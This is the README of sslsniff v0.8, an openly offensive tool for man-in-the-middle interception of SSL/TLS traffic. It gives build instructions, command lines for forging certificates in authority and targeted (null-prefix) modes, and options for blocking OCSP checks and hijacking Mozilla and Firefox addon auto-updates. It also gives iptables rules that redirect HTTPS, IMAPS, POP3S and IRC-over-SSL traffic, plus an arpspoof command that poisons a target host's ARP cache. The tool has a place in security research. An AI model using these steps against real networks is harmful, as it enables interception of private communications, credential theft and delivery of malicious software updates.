sslsniff

sslsniff v0.8
Moxie Marlinspike
------------------------------------

REQUIRES: openssl, libboost1.35-dev, libboost-filesystem1.35-dev,
libboost-thread1.35-dev, liblog4cpp5-dev, Linux 2.4/2.6 (or BSD)

The three steps to get this running are:

* Download and run sslsniff-0.8.tar.gz
* Setup iptables (or pf on BSD)
* Run arpspoof (or whatever method you'd like to use to redirect traffic).

Installing sslsniff
-------------------

* Unpack sslsniff-0.8.tar.gz, run "./configure" and "make". (You'll have
to make some changes to build on BSD systems, see below under "Setting up
pf")
* There are two ways to run this: in "authority" mode or "targeted" mode.

Authority Mode:

In this mode, sslsniff acts as if it is a CA which dynamically generates
certificates on the fly. If you were, for instance, able to obtain a CA
certificate somehow, you could run it in this mode and it would dynamically
create and sign new certificates for whatever site you're trying to connect
to.

This mode is also useful for exploiting implementations that do not properly
verify BasicConstraints, as any valid leaf node certificate could be used
instead of a CA cert.

You would run sslsniff as:
./sslsniff -a -s <$listenPort> -w <$logFile> -c <$caCert>

Targeted Mode:

In this mode, sslsniff is given a directory full of certificates, which it
uses for targeted MITM attacks against the hosts those certificates are
signed for. This mode is useful if you are able to forge specific
certificates, or if you have certificates that were obtained for the "null
prefix" vulnerability that I published. There are sample null prefix
certificates in the "certs" directory that comes with sslsniff, but be
sure to specify "-m IPSCACLASEA1.crt" if you wish to use those. (Note:
the targeted certs have been removed for legal reasons, but the universal
wildcard cert remains)

You would run sslsniff as:
./sslsniff -t -s <$listenPort> -w <$logFile> -m IPSCACLASEA1.crt \
-c <$certDir>

Other options:

* sslsniff can be configured to only attack certain clients. In this case,
you need to specify -f -h <$httpListenPort>

* sslsniff can be configured to deny OCSP requests from clients. In this
case, you need to specify -d

* sslsniff can be configured to only log HTTP POSTS. In this case, you
need to specify -p

* sslsniff can be configured to hijack Mozilla auto-updates. In this case,
you need to specify -u <$updateXmlDir>, where $updateXmlDir contains the
XML files for whatever binaries you want to have sslsniff auto-update,
one for each platform. There are sample XML files in the "update"
directory that comes with sslsniff.

* sslsniff can be configured to hijack Firefox/Thunderbird addon
auto-updates. In this case, you need to specify -e -j
where is the URL where your custom addon is located, and
is the sha256sum of that addon.


Setting up iptables
-------------------

* Flip your machine into ip_forward mode
(echo 1 > /proc/sys/net/ipv4/ip_forward)

* Add a rule to intercept HTTPS traffic
(iptables -t nat -A PREROUTING -p tcp --destination-port 443
-j REDIRECT --to-ports <$listenPort>)

* If you're going to do client fingerprinting, add a rule to
intercept HTTP traffic:
(iptables -t nat -A PREROUTING -p tcp --destination-port 80
-j REDIRECT --to-ports <$httpListenPort>)

* Add a rule to intercept imaps traffic:
(iptables -t nat -A PREROUTING -p tcp --destination-port 993 \
-j REDIRECT --to-ports <$listenPort>)

* Add a rule to intercept pop3s traffic:
(iptables -t nat -A PREROUTING -p tcp --destination-port 995 \
-j REDIRECT --to-ports <$listenPort>)

* Add a rule to intercept irc over ssl traffic:
(iptables -t nat -A PREROUTING -p tcp --destination-port 6697 \
-j REDIRECT --to-ports <$listenPort>)

Setting up pf
-------------

Basic support for pf is now included. Set up firewall rules similar to
those above, and change util/Destination.cpp by undefining HAVE_NETFILTER
and defining HAVE_PF at the top.


Running arpspoof
--------------------------

Assuming we want to intercept SSL traffic from 172.17.10.36, we need to
trick that host into thinking that we're the router. Using arpspoof, we
can convince the target that the router's MAC address is our MAC address.

* arpspoof -i eth0 -t 172.17.10.36 172.17.8.1

At this point, any SSL traffic should get proxied by sslsniff and logged to
a file.

How does this work?
-------------------

First, arpspoof convinces a host that our MAC address is the router's MAC
address, and the target begins to send us all its network traffic. The
kernel forwards everything along except for traffic destined to port 443,
which it redirects to $listenPort (10000, for example).

At this point, sslsniff receives the client connection, makes a connection
to the real SSL site, and looks at the information in its certificate.
sslsniff then either sends a forged certificate if available
(targeted certificate mode), or it dynamically forges a certificate and signs
it with your authoritative certificate (authority mode).